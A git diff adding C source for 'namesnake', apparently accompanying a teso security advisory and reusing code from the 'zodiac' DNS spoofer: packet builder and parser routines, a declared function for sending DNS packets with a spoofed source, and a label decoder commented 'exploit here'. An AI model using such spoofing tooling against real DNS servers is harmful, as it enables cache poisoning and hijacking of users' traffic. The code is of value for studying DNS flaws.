diff --git a/advisories/teso-advisory-003/namesnake/src/dns-build.h b/advisories/teso-advisory-003/namesnake/src/dns-build.h new file mode 100644 index 0000000..ca3fe9c --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/dns-build.h | |||
| @@ -0,0 +1,211 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * dns packet builder routines include file | ||
| 4 | * | ||
| 5 | * by scut / teso | ||
| 6 | */ | ||
| 7 | |||
| 8 | #ifndef Z_DNS_BUILD_H | ||
| 9 | #define Z_DNS_BUILD_H | ||
| 10 | |||
| 11 | |||
| 12 | /* dns_pdata | ||
| 13 | * | ||
| 14 | * domain name service packet data part structure. | ||
| 15 | * the data in this structure is the virtual dns packet to fire. | ||
| 16 | */ | ||
| 17 | |||
| 18 | typedef struct dns_pdata { | ||
| 19 | unsigned char *p_offset; /* internal offset to construct packet data */ | ||
| 20 | unsigned char *p_data; /* real packet data pointer */ | ||
| 21 | } dns_pdata; | ||
| 22 | |||
| 23 | |||
| 24 | /* dns_build_random | ||
| 25 | * | ||
| 26 | * prequel the domain name `domain' with a random sequence of characters | ||
| 27 | * with a random length if `len' is zero, and a fixed length if len is != 0 | ||
| 28 | * | ||
| 29 | * return the allocated new string | ||
| 30 | */ | ||
| 31 | |||
| 32 | char *dns_build_random (char *domain, size_t len); | ||
| 33 | |||
| 34 | /* dns_domain | ||
| 35 | * | ||
| 36 | * return a pointer to the beginning of the SLD within a full qualified | ||
| 37 | * domain name `domainname'. | ||
| 38 | * | ||
| 39 | * return NULL on failure | ||
| 40 | * return a pointer to the beginning of the SLD on success | ||
| 41 | */ | ||
| 42 | |||
| 43 | char *dns_domain (char *domainname); | ||
| 44 | char *dns_ptr_domain (char *arpaname); | ||
| 45 | |||
| 46 | |||
| 47 | /* dns_build_new | ||
| 48 | * | ||
| 49 | * constructor. create new packet data body | ||
| 50 | * | ||
| 51 | * return packet data structure pointer (initialized) | ||
| 52 | */ | ||
| 53 | |||
| 54 | dns_pdata *dns_build_new (void); | ||
| 55 | |||
| 56 | |||
| 57 | /* dns_build_destroy | ||
| 58 | * | ||
| 59 | * destructor. destroy a dns_pdata structure pointed to by `pd' | ||
| 60 | * | ||
| 61 | * return in any case | ||
| 62 | */ | ||
| 63 | |||
| 64 | void dns_build_destroy (dns_pdata *pd); | ||
| 65 | |||
| 66 | |||
| 67 | /* dns_build_plen | ||
| 68 | * | ||
| 69 | * calculate the length of the current packet data body pointed to by `pd'. | ||
| 70 | * | ||
| 71 | * return the packet length | ||
| 72 | */ | ||
| 73 | |||
| 74 | u_short dns_build_plen (dns_pdata *pd); | ||
| 75 | |||
| 76 | |||
| 77 | /* dns_build_extend | ||
| 78 | * | ||
| 79 | * extend a dns_pdata structure data part for `amount' bytes. | ||
| 80 | * | ||
| 81 | * return a pointer to the beginning of the extension | ||
| 82 | */ | ||
| 83 | |||
| 84 | unsigned char *dns_build_extend (dns_pdata *pd, size_t amount); | ||
| 85 | |||
| 86 | |||
| 87 | /* dns_build_ptr | ||
| 88 | * | ||
| 89 | * take a numeric quad dot notated ip address `ip_str' and build a char | ||
| 90 | * domain out of it within the IN-ADDR.ARPA domain. | ||
| 91 | * | ||
| 92 | * return NULL on failure | ||
| 93 | * return a char pointer to the converted domain name | ||
| 94 | */ | ||
| 95 | |||
| 96 | char *dns_build_ptr (char *ip_str); | ||
| 97 | |||
| 98 | |||
| 99 | /* dns_build_q | ||
| 100 | * | ||
| 101 | * append a query record into a dns_pdata structure, where `dname' is the | ||
| 102 | * domain name that should be queried, using `qtype' and `qclass' as types. | ||
| 103 | * | ||
| 104 | * conversion of the `dname' takes place according to the value of `qtype': | ||
| 105 | * | ||
| 106 | * qtype | expected dname format | converted to | ||
| 107 | * ---------+-----------------------+----------------------------------------- | ||
| 108 | * TY_PTR | char *, ip address | IN-ADDR.ARPA dns domain name | ||
| 109 | * TY_A | char *, full hostname | dns domain name | ||
| 110 | * TY_NS | " | " | ||
| 111 | * TY_CNAME | " | " | ||
| 112 | * TY_WKS | " | " | ||
| 113 | * TY_HINFO | " | " | ||
| 114 | * TY_MINFO | " | " | ||
| 115 | * TY_MX | " | " | ||
| 116 | * | ||
| 117 | * return (beside adding the record) the pointer to the record within the data | ||
| 118 | */ | ||
| 119 | |||
| 120 | unsigned char *dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass); | ||
| 121 | |||
| 122 | |||
| 123 | /* dns_build_rr | ||
| 124 | * | ||
| 125 | * append a resource record into a dns_pdata structure, pointed ty by `pd', | ||
| 126 | * where `dname' is the domain name the record belongs to, `type' and `class' | ||
| 127 | * are the type and class of the dns data part, `ttl' is the time to live, | ||
| 128 | * the time in seconds how long to cache the record. `rdlength' is the length | ||
| 129 | * of the resource data pointed to by `rdata'. | ||
| 130 | * depending on `type' the data at `rdata' will be converted to the appropiate | ||
| 131 | * type: | ||
| 132 | * | ||
| 133 | * type | rdata points to | will be | ||
| 134 | * -------+---------------------+--------------------------------------------- | ||
| 135 | * TY_A | char IP address | 4 byte network byte ordered IP address | ||
| 136 | * TY_PTR | char domain name | encoded dns domain name | ||
| 137 | * TY_NS | char domain name | encoded dns domain name | ||
| 138 | * | ||
| 139 | * return (beside adding the record) the pointer to the record within the data | ||
| 140 | */ | ||
| 141 | |||
| 142 | unsigned char *dns_build_rr (dns_pdata *pd, unsigned char *dname, | ||
| 143 | u_short type, u_short class, u_long ttl, void *rdata); | ||
| 144 | |||
| 145 | |||
| 146 | /* dns_build_query_label | ||
| 147 | * | ||
| 148 | * build a query label given from the data `query' that should be enclosed | ||
| 149 | * and the query type `qtype' and query class `qclass'. | ||
| 150 | * | ||
| 151 | * qtype qclass query | ||
| 152 | * -----------+---------------+----------------------------------------------- | ||
| 153 | * A IN pointer to a host- or domainname | ||
| 154 | * PTR IN pointer to a struct in_addr | ||
| 155 | * | ||
| 156 | * ... (to be extended) ... | ||
| 157 | * | ||
| 158 | * return 0 on success | ||
| 159 | * return 1 on failure | ||
| 160 | */ | ||
| 161 | int dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query); | ||
| 162 | |||
| 163 | |||
| 164 | /* dns_build_domain | ||
| 165 | * | ||
| 166 | * build a dns domain label sequence out of a printable domain name | ||
| 167 | * store the resulting domain in `denc', get the printable domain | ||
| 168 | * from `domain'. | ||
| 169 | * | ||
| 170 | * return 0 on failure | ||
| 171 | * return length of the created domain (include suffixing '\x00') | ||
| 172 | */ | ||
| 173 | |||
| 174 | int dns_build_domain (unsigned char **denc, char *domain); | ||
| 175 | |||
| 176 | |||
| 177 | /* dns_build_domain_dotlen | ||
| 178 | * | ||
| 179 | * helper routine, determine the length of the next label in a human | ||
| 180 | * printed domain name | ||
| 181 | * | ||
| 182 | * return the number of characters until an occurance of \x00 or '.' | ||
| 183 | */ | ||
| 184 | |||
| 185 | int dns_build_domain_dotlen (char *label); | ||
| 186 | |||
| 187 | |||
| 188 | /* dns_packet_send | ||
| 189 | * | ||
| 190 | * send a prepared dns packet spoofing from `ip_src' to `ip_dst', using | ||
| 191 | * source port `prt_src' and destination port `prt_dst'. the dns header | ||
| 192 | * data is filled with `dns_id', the dns identification number of the | ||
| 193 | * packet, `flags', which are the 16bit flags in the dns header, then | ||
| 194 | * four count variables, each for a dns segment: `count_q' is the number | ||
| 195 | * of queries, `count_a' the number of answers, `count_ns' the number of | ||
| 196 | * nameserver entries and `count_ad' the number of additional entries. | ||
| 197 | * the real dns data is aquired from the dns packet data `pd'. | ||
| 198 | * the dns data should be constructed using the dns_build_* functions. | ||
| 199 | * if the packet should be compressed before sending it, `compress' | ||
| 200 | * should be set to 1. | ||
| 201 | * | ||
| 202 | * return 0 on success | ||
| 203 | * return 1 on failure | ||
| 204 | */ | ||
| 205 | |||
| 206 | int dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst, | ||
| 207 | u_short dns_id, u_short flags, u_short count_q, u_short count_a, | ||
| 208 | u_short count_ns, u_short count_ad, dns_pdata *pd); | ||
| 209 | |||
| 210 | #endif | ||
| 211 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/dns.c b/advisories/teso-advisory-003/namesnake/src/dns.c new file mode 100644 index 0000000..c2c8c10 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/dns.c | |||
| @@ -0,0 +1,447 @@ | |||
| 1 | /* zodiac - advanced dns spoofer | ||
| 2 | * | ||
| 3 | * by scut / teso | ||
| 4 | * | ||
| 5 | * dns handling routines | ||
| 6 | * | ||
| 7 | * including scut's leet dns packet decoder *welp* :-D | ||
| 8 | * | ||
| 9 | */ | ||
| 10 | |||
| 11 | #include <sys/time.h> | ||
| 12 | #include <sys/socket.h> | ||
| 13 | #include <netinet/in.h> | ||
| 14 | #include <arpa/inet.h> | ||
| 15 | #include <unistd.h> | ||
| 16 | #include <stdlib.h> | ||
| 17 | #include <string.h> | ||
| 18 | #include "common.h" | ||
| 19 | #include "dns.h" | ||
| 20 | |||
| 21 | |||
| 22 | extern char * ns_domain; | ||
| 23 | |||
| 24 | static char *types[] = { NULL, "A", "NS", "MD", "MF", "CNAME", "SOA", "MB", "MG", | ||
| 25 | "MR", "NULL", "WKS", "PTR", "HINFO", "MINFO", "MX", "TXT" }; | ||
| 26 | static char *rcodes[] = { "OK", "EFORM", "EFAIL", "ENAME", "ENIMP", "ERFSD", NULL, NULL, | ||
| 27 | NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; | ||
| 28 | |||
| 29 | |||
| 30 | /* dns_handle | ||
| 31 | * | ||
| 32 | * handle a dns packet with header pointed to by `dns_hdr' and data pointed | ||
| 33 | * to by `dns_data'. | ||
| 34 | * | ||
| 35 | * do all necessary queue / decoding stuff | ||
| 36 | */ | ||
| 37 | |||
| 38 | void | ||
| 39 | dns_handle (dns_hdr *dns, unsigned char *dns_data, unsigned int plen, int print) | ||
| 40 | { | ||
| 41 | int n; /* temporary return value */ | ||
| 42 | unsigned char *d_quer[SEG_COUNT_MAX]; /* query array */ | ||
| 43 | unsigned char *d_answ[SEG_COUNT_MAX]; /* answer array */ | ||
| 44 | unsigned char *d_auth[SEG_COUNT_MAX]; /* authority array */ | ||
| 45 | unsigned char *d_addi[SEG_COUNT_MAX]; /* additional array */ | ||
| 46 | char dns_p[2048]; /* output (for humans :) */ | ||
| 47 | |||
| 48 | #ifdef PDEBUG | ||
| 49 | hexdump ("packet-dns", (unsigned char *) dns, 256); | ||
| 50 | #endif | ||
| 51 | /* segmentify dns packet | ||
| 52 | */ | ||
| 53 | n = dns_segmentify (dns, dns_data, d_quer, d_answ, d_auth, d_addi); | ||
| 54 | if (n != 0) { | ||
| 55 | printf ("FAILURE ON DNS PACKET DISASSEMBLY\n"); | ||
| 56 | return; | ||
| 57 | } | ||
| 58 | |||
| 59 | memset (dns_p, '\0', sizeof (dns_p)); | ||
| 60 | |||
| 61 | /* only print own packets if dns_print_own_packets is 1 | ||
| 62 | */ | ||
| 63 | dns_printpkt (dns_p, sizeof (dns_p) - 1, dns, | ||
| 64 | dns_data, d_quer, d_answ, d_auth, d_addi, print); | ||
| 65 | |||
| 66 | /* return | ||
| 67 | */ | ||
| 68 | return; | ||
| 69 | } | ||
| 70 | |||
| 71 | |||
| 72 | /* dns_p_print | ||
| 73 | * | ||
| 74 | * decode a dns packet pointed to by `dns' and `dns_data' to a human readable | ||
| 75 | * form to the string pointed to by `os', with a maximum length of `len' | ||
| 76 | * | ||
| 77 | * return 0 on success | ||
| 78 | * return 1 on failure | ||
| 79 | */ | ||
| 80 | |||
| 81 | int | ||
| 82 | dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[], unsigned char *d_answ[], | ||
| 83 | unsigned char *d_auth[], unsigned char *d_addi[]) | ||
| 84 | { | ||
| 85 | int n; | ||
| 86 | |||
| 87 | scnprintf (os, len, "ID[%04x] TYPE[", ntohs (dns->id)); | ||
| 88 | |||
| 89 | if (dns->qr == 0) { | ||
| 90 | /* print the query | ||
| 91 | */ | ||
| 92 | if (dns->opcode != 0 && dns->opcode != 1) { | ||
| 93 | scnprintf (os, len, "unsupported opcode %02x %s", dns->opcode, | ||
| 94 | (dns->opcode == 3) ? "ST]" : ""); | ||
| 95 | } else { | ||
| 96 | if (dns->opcode == 0) | ||
| 97 | scnprintf (os, len, " Q]"); | ||
| 98 | else if (dns->opcode == 1) | ||
| 99 | scnprintf (os, len, "IQ]"); | ||
| 100 | } | ||
| 101 | } else if (dns->qr == 1) { | ||
| 102 | char *rcstr = NULL; | ||
| 103 | |||
| 104 | /* authoritative answer ? | ||
| 105 | */ | ||
| 106 | if (dns->aa == 1) | ||
| 107 | scnprintf (os, len, "AA]"); | ||
| 108 | else | ||
| 109 | scnprintf (os, len, " A]"); | ||
| 110 | |||
| 111 | rcstr = rcodes[dns->rcode]; | ||
| 112 | scnprintf (os, len, "(%s)", (rcstr == NULL) ? "?" : rcstr); | ||
| 113 | } | ||
| 114 | |||
| 115 | for (n = 0; n < ntohs (dns->qdcount) && n < SEG_COUNT_MAX; n++) { | ||
| 116 | if (n == 0) | ||
| 117 | scnprintf (os, len, " Q(%hu)> ", ntohs (dns->qdcount)); | ||
| 118 | dns_p_q ((unsigned char *) dns, os, len, d_quer[n]); | ||
| 119 | } | ||
| 120 | |||
| 121 | return (0); | ||
| 122 | } | ||
| 123 | |||
| 124 | |||
| 125 | /* dns_p_q | ||
| 126 | * | ||
| 127 | * print a dns query record pointed to by `wp' as a human readable string, | ||
| 128 | * and append it to `os', which can have a maximum size of `len' characters. | ||
| 129 | */ | ||
| 130 | |||
| 131 | void | ||
| 132 | dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp) | ||
| 133 | { | ||
| 134 | char qname[256]; | ||
| 135 | char *qt; | ||
| 136 | u_short qtype, qclass; | ||
| 137 | |||
| 138 | memset (qname, '\0', sizeof (qname)); | ||
| 139 | dns_dcd_label (dns_start, &wp, qname, sizeof (qname) - 1, 5); | ||
| 140 | |||
| 141 | /* get query type and class | ||
| 142 | */ | ||
| 143 | GETSHORT (qtype, wp); | ||
| 144 | GETSHORT (qclass, wp); | ||
| 145 | |||
| 146 | if (qtype <= 16) | ||
| 147 | qt = types[qtype]; | ||
| 148 | else | ||
| 149 | qt = NULL; | ||
| 150 | |||
| 151 | ns_domain = xstrdup (qname); | ||
| 152 | scnprintf (os, len, "%s [t:%s]", qname, (qt != NULL) ? qt : "-"); | ||
| 153 | |||
| 154 | return; | ||
| 155 | } | ||
| 156 | |||
| 157 | |||
| 158 | /* dns_p_rdata | ||
| 159 | * | ||
| 160 | * print a resource record rdata field pointed to by `rdp' as a human readable | ||
| 161 | * string `rdstr' with a maximum length `len', depending on rdata type `rtype' | ||
| 162 | * the data pointed to by `rdp' has the length `rdlen'. | ||
| 163 | * | ||
| 164 | * return nothing | ||
| 165 | */ | ||
| 166 | |||
| 167 | void | ||
| 168 | dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len, | ||
| 169 | u_short rtype, unsigned char *rdp, u_short rdlen) | ||
| 170 | { | ||
| 171 | char *ips; | ||
| 172 | char ipv4str[64]; /* temporary IP address string */ | ||
| 173 | struct in_addr ip; | ||
| 174 | unsigned char *wps = rdp; | ||
| 175 | |||
| 176 | memset (rdstr, '\0', len); | ||
| 177 | |||
| 178 | switch (rtype) { | ||
| 179 | case (T_A): | ||
| 180 | memcpy (&ip, rdp, sizeof (struct in_addr)); | ||
| 181 | |||
| 182 | ips = ipv4_print (ipv4str, ip, 0); | ||
| 183 | scnprintf (rdstr, len, "%s", ips); | ||
| 184 | |||
| 185 | break; | ||
| 186 | |||
| 187 | case (T_CNAME): | ||
| 188 | case (T_NS): | ||
| 189 | case (T_PTR): | ||
| 190 | dns_dcd_label (dns_start, &wps, rdstr, len, 5); | ||
| 191 | break; | ||
| 192 | |||
| 193 | default: | ||
| 194 | break; | ||
| 195 | } | ||
| 196 | |||
| 197 | return; | ||
| 198 | } | ||
| 199 | |||
| 200 | |||
| 201 | /* dns_p_rr | ||
| 202 | * | ||
| 203 | * print a dns resource record pointed to by `wp' as a human readable string, | ||
| 204 | * and append it to `os', which can have a maximum size of `len' characters. | ||
| 205 | */ | ||
| 206 | |||
| 207 | void | ||
| 208 | dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp) | ||
| 209 | { | ||
| 210 | char name[256], rdatas[256]; | ||
| 211 | char *t; | ||
| 212 | u_short type, class, rdlen; | ||
| 213 | u_long ttl; | ||
| 214 | |||
| 215 | /* decode label | ||
| 216 | */ | ||
| 217 | memset (name, '\0', sizeof (name)); | ||
| 218 | dns_dcd_label (dns_start, &wp, name, sizeof (name), 5); | ||
| 219 | |||
| 220 | /* get type/class/ttl/rdlength/rdata | ||
| 221 | * then assign appropiate type description | ||
| 222 | */ | ||
| 223 | GETSHORT (type, wp); | ||
| 224 | GETSHORT (class, wp); | ||
| 225 | GETLONG (ttl, wp); | ||
| 226 | GETSHORT (rdlen, wp); | ||
| 227 | t = (type <= 16) ? types[type] : NULL; | ||
| 228 | |||
| 229 | /* add decoded rdata info into rdatas | ||
| 230 | * different decoding depending on type | ||
| 231 | */ | ||
| 232 | dns_p_rdata (dns_start, rdatas, sizeof (rdatas), type, wp, rdlen); | ||
| 233 | |||
| 234 | scnprintf (os, len, "[t: %s (%04x)][c: %04x][ttl: %lu][r: %04x] %s : %s", | ||
| 235 | (t != NULL) ? t : "-", type, class, ttl, rdlen, name, rdatas); | ||
| 236 | |||
| 237 | return; | ||
| 238 | } | ||
| 239 | |||
| 240 | |||
| 241 | /* dns_segmentify | ||
| 242 | * | ||
| 243 | * segmentify a dns datagram pointed to by `dns_hdr' and `dns_data' into it's | ||
| 244 | * different parts, such as the query part (pointed to by `d_quer'), the | ||
| 245 | * answer part (pointed to by `d_answ'), the authoritaty (pointed to by | ||
| 246 | * `d_auth') and the additional information parts (pointed to by `d_addi'). | ||
| 247 | * | ||
| 248 | * return 0 on success, and fill all the **-pointers to either NULL or data | ||
| 249 | * within the `dns_data' array. | ||
| 250 | */ | ||
| 251 | |||
| 252 | int | ||
| 253 | dns_segmentify (dns_hdr *dns, unsigned char *dns_data, | ||
| 254 | unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], | ||
| 255 | unsigned char *d_addi[]) | ||
| 256 | { | ||
| 257 | unsigned char *wp; /* work pointer */ | ||
| 258 | |||
| 259 | wp = dns_data; | ||
| 260 | |||
| 261 | /* get queries, answers, authorities and additional information | ||
| 262 | */ | ||
| 263 | dns_seg_q (&wp, d_quer, htons (dns->qdcount), SEG_COUNT_MAX); | ||
| 264 | dns_seg_rr (&wp, d_answ, htons (dns->ancount), SEG_COUNT_MAX); | ||
| 265 | dns_seg_rr (&wp, d_auth, htons (dns->nscount), SEG_COUNT_MAX); | ||
| 266 | dns_seg_rr (&wp, d_addi, htons (dns->arcount), SEG_COUNT_MAX); | ||
| 267 | |||
| 268 | return (0); | ||
| 269 | } | ||
| 270 | |||
| 271 | |||
| 272 | /* dns_seg_q | ||
| 273 | * | ||
| 274 | * segmentify a query record of a dns datagram, starting at `wp', creating | ||
| 275 | * an array of `c' number of pointers in `d_arry', truncating if it exceeds | ||
| 276 | * a number of `max_size' records | ||
| 277 | */ | ||
| 278 | |||
| 279 | void | ||
| 280 | dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size) | ||
| 281 | { | ||
| 282 | int count; | ||
| 283 | |||
| 284 | for (count = 0; count < c && count < max_size; count++) { | ||
| 285 | d_arry[count] = *wp; | ||
| 286 | *wp += dns_labellen (*wp); /* skip label */ | ||
| 287 | *wp += 2 * sizeof (u_short); /* skip qtype/qclass */ | ||
| 288 | } | ||
| 289 | } | ||
| 290 | |||
| 291 | |||
| 292 | /* dns_seg_rr | ||
| 293 | * | ||
| 294 | * segmentify a resource record of a dns datagram, starting at `wp', creating | ||
| 295 | * an array of `c' number of pointers in `d_arry', truncating if it exceeds | ||
| 296 | * a number of `max_size' records | ||
| 297 | */ | ||
| 298 | |||
| 299 | void | ||
| 300 | dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size) | ||
| 301 | { | ||
| 302 | int count; | ||
| 303 | unsigned long int rdlen; | ||
| 304 | |||
| 305 | for (count = 0; count < c && count < max_size; count++) { | ||
| 306 | d_arry[count] = *wp; | ||
| 307 | |||
| 308 | /* skip the label (most likely compressed) | ||
| 309 | */ | ||
| 310 | *wp += dns_labellen (*wp); | ||
| 311 | |||
| 312 | /* skip the type, class, ttl | ||
| 313 | */ | ||
| 314 | *wp += 8 * sizeof (u_char); | ||
| 315 | |||
| 316 | /* resource data length | ||
| 317 | */ | ||
| 318 | GETSHORT (rdlen, *wp); | ||
| 319 | *wp += rdlen; | ||
| 320 | } | ||
| 321 | |||
| 322 | return; | ||
| 323 | } | ||
| 324 | |||
| 325 | |||
| 326 | /* dns_labellen | ||
| 327 | * | ||
| 328 | * determine the length of a dns label pointed to by `wp' | ||
| 329 | * | ||
| 330 | * return the length of the label | ||
| 331 | */ | ||
| 332 | |||
| 333 | int | ||
| 334 | dns_labellen (unsigned char *wp) | ||
| 335 | { | ||
| 336 | unsigned char *wps = wp; | ||
| 337 | |||
| 338 | while (*wp != '\x00') { | ||
| 339 | /* in case the label is compressed we don't really care, | ||
| 340 | * but just skip it | ||
| 341 | */ | ||
| 342 | if ((*wp & INDIR_MASK) == INDIR_MASK) { | ||
| 343 | wp += sizeof (u_short); | ||
| 344 | |||
| 345 | /* non-clear RFC at this point, got to figure with some | ||
| 346 | * real dns packets | ||
| 347 | */ | ||
| 348 | return ((int) (wp - wps)); | ||
| 349 | } else { | ||
| 350 | wp += (*wp + 1); | ||
| 351 | } | ||
| 352 | } | ||
| 353 | |||
| 354 | return ((int) (wp - wps) + 1); | ||
| 355 | } | ||
| 356 | |||
| 357 | |||
| 358 | /* dns_dcd_label | ||
| 359 | * | ||
| 360 | * decode a label sequence pointed to by `qname' to a string pointed to by | ||
| 361 | * `os', with a maximum length of `len' characters | ||
| 362 | * after successful decoding it will update *qname, to point to the qtype | ||
| 363 | * if the `dig' flag is > 0 the routine may allow to call itself recursively | ||
| 364 | * at a maximum dig level of `dig'. | ||
| 365 | * if `dig' is zero it is a recursive call and may not call itself once more. | ||
| 366 | * `dns_start' is a pointer to the beginning of the dns packet, to allow | ||
| 367 | * compressed labels to be decoded. | ||
| 368 | * | ||
| 369 | * return 0 on success | ||
| 370 | * return 1 on failure | ||
| 371 | */ | ||
| 372 | |||
| 373 | int | ||
| 374 | dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig) | ||
| 375 | { | ||
| 376 | unsigned char *qn = *qname; | ||
| 377 | |||
| 378 | while (*qn != '\0') { | ||
| 379 | if ((*qn & INDIR_MASK) == INDIR_MASK) { | ||
| 380 | int offset; /* compression offset */ | ||
| 381 | unsigned char *tpt; /*temporary pointer */ | ||
| 382 | |||
| 383 | if (dig == 0) { | ||
| 384 | if (dns_start == NULL) | ||
| 385 | return (1); | ||
| 386 | |||
| 387 | printf ("DNS attack, compr. flaw exploit attempt\n"); | ||
| 388 | return (1); | ||
| 389 | } | ||
| 390 | |||
| 391 | /* don't fuck with big bad endian | ||
| 392 | */ | ||
| 393 | |||
| 394 | offset = (((unsigned char) *qn) & ~0xc0) << 8; | ||
| 395 | qn += 1; | ||
| 396 | offset += (int) ((unsigned char) *qn); | ||
| 397 | qn += 1; | ||
| 398 | |||
| 399 | /* recursivly decode the label pointed to by the offset | ||
| 400 | * exploit here =) | ||
| 401 | */ | ||
| 402 | |||
| 403 | tpt = dns_start + offset; | ||
| 404 | *qname = qn; | ||
| 405 | |||
| 406 | return (dns_dcd_label (dns_start, &tpt, os, len, dig - 1)); | ||
| 407 | |||
| 408 | } else { | ||
| 409 | char label[65]; | ||
| 410 | |||
| 411 | memset (label, '\0', sizeof (label)); | ||
| 412 | memcpy (label, qn + 1, (*qn & ~INDIR_MASK)); | ||
| 413 | scnprintf (os, len, "%s", label); | ||
| 414 | } | ||
| 415 | |||
| 416 | qn += *qn + 1; | ||
| 417 | if (*qn != 0) | ||
| 418 | scnprintf (os, len, "."); | ||
| 419 | } | ||
| 420 | |||
| 421 | *qname = qn + 1; | ||
| 422 | |||
| 423 | return (0); | ||
| 424 | } | ||
| 425 | |||
| 426 | /* dns_printpkt | ||
| 427 | * | ||
| 428 | * print dns packet header pointed to by `dns' in human readable form | ||
| 429 | * to dns window | ||
| 430 | * | ||
| 431 | * return nothing | ||
| 432 | */ | ||
| 433 | |||
| 434 | void | ||
| 435 | dns_printpkt (char *os, size_t osl, dns_hdr *dns, unsigned char *data, | ||
| 436 | unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], | ||
| 437 | unsigned char *d_addi[], int print) | ||
| 438 | { | ||
| 439 | /* print decoded dns packet to screen | ||
| 440 | */ | ||
| 441 | dns_p_print (os, osl, dns, d_quer, d_answ, d_auth, d_addi); | ||
| 442 | if (print == 1) | ||
| 443 | printf ("%s\n", os); | ||
| 444 | |||
| 445 | return; | ||
| 446 | } | ||
| 447 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/dns.h b/advisories/teso-advisory-003/namesnake/src/dns.h new file mode 100644 index 0000000..2445231 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/dns.h | |||
| @@ -0,0 +1,67 @@ | |||
| 1 | /* zodiac - advanced dns spoofer | ||
| 2 | * | ||
| 3 | * by scut / teso | ||
| 4 | * | ||
| 5 | * dns / id queue handling routines | ||
| 6 | */ | ||
| 7 | |||
| 8 | #ifndef Z_DNS_H | ||
| 9 | #define Z_DNS_H | ||
| 10 | |||
| 11 | |||
| 12 | #include <sys/time.h> | ||
| 13 | #include <arpa/nameser.h> | ||
| 14 | #include <netinet/in.h> | ||
| 15 | #include <libnet.h> | ||
| 16 | |||
| 17 | |||
| 18 | /* dns flags (for use with libnet) | ||
| 19 | */ | ||
| 20 | #define DF_RESPONSE 0x8000 | ||
| 21 | #define DF_OC_STD_Q 0x0000 | ||
| 22 | #define DF_OC_INV_Q 0x0800 | ||
| 23 | #define DF_OC_STAT 0x1800 | ||
| 24 | #define DF_AA 0x0400 | ||
| 25 | #define DF_TC 0x0200 | ||
| 26 | #define DF_RD 0x0100 | ||
| 27 | #define DF_RA 0x0080 | ||
| 28 | #define DF_RCODE_FMT_E 0x0001 | ||
| 29 | #define DF_RCODE_SRV_E 0x0002 | ||
| 30 | #define DF_RCODE_NAME_E 0x0003 | ||
| 31 | #define DF_RCODE_IMPL_E 0x0004 | ||
| 32 | #define DF_RCODE_RFSD_E 0x0005 | ||
| 33 | |||
| 34 | |||
| 35 | #define SEG_COUNT_MAX 16 | ||
| 36 | |||
| 37 | typedef struct libnet_ip_hdr ip_hdr; | ||
| 38 | typedef struct libnet_udp_hdr udp_hdr; | ||
| 39 | typedef HEADER dns_hdr; /* HEADER is in arpa/nameser.h */ | ||
| 40 | |||
| 41 | void dns_handle (dns_hdr *dns, unsigned char *dns_data, unsigned int plen, int print); | ||
| 42 | |||
| 43 | int dns_segmentify (dns_hdr *dns, unsigned char *dns_data, | ||
| 44 | unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], | ||
| 45 | unsigned char *d_addi[]); | ||
| 46 | void dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size); | ||
| 47 | void dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size); | ||
| 48 | int dns_labellen (unsigned char *wp); | ||
| 49 | |||
| 50 | /* dns_printpkt | ||
| 51 | * | ||
| 52 | * print a packet into the dns window | ||
| 53 | */ | ||
| 54 | |||
| 55 | void dns_printpkt (char *os, size_t osl, dns_hdr *dns, unsigned char *data, | ||
| 56 | unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], | ||
| 57 | unsigned char *d_addi[], int print); | ||
| 58 | int dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[], | ||
| 59 | unsigned char *d_answ[], unsigned char *d_auth[], unsigned char *d_addi[]); | ||
| 60 | void dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp); | ||
| 61 | void dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp); | ||
| 62 | void dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len, u_short rtype, | ||
| 63 | unsigned char *rdp, u_short rdlen); | ||
| 64 | int dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig); | ||
| 65 | |||
| 66 | #endif | ||
| 67 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/io-udp.c b/advisories/teso-advisory-003/namesnake/src/io-udp.c new file mode 100644 index 0000000..277f17a --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/io-udp.c | |||
| @@ -0,0 +1,212 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * by scut | ||
| 4 | * | ||
| 5 | * udp packet routines include file | ||
| 6 | */ | ||
| 7 | |||
| 8 | #include <sys/types.h> | ||
| 9 | #include <sys/socket.h> | ||
| 10 | #include <sys/time.h> | ||
| 11 | #include <netinet/in.h> | ||
| 12 | #include <netinet/ip.h> | ||
| 13 | #include <arpa/inet.h> | ||
| 14 | #include <stdlib.h> | ||
| 15 | #include <unistd.h> | ||
| 16 | #include <stdio.h> | ||
| 17 | #include <libnet.h> | ||
| 18 | #include "common.h" | ||
| 19 | #include "io-udp.h" | ||
| 20 | #include "network.h" | ||
| 21 | |||
| 22 | |||
| 23 | void | ||
| 24 | udp_listen_free (udp_listen *ul) | ||
| 25 | { | ||
| 26 | if (ul == NULL) | ||
| 27 | return; | ||
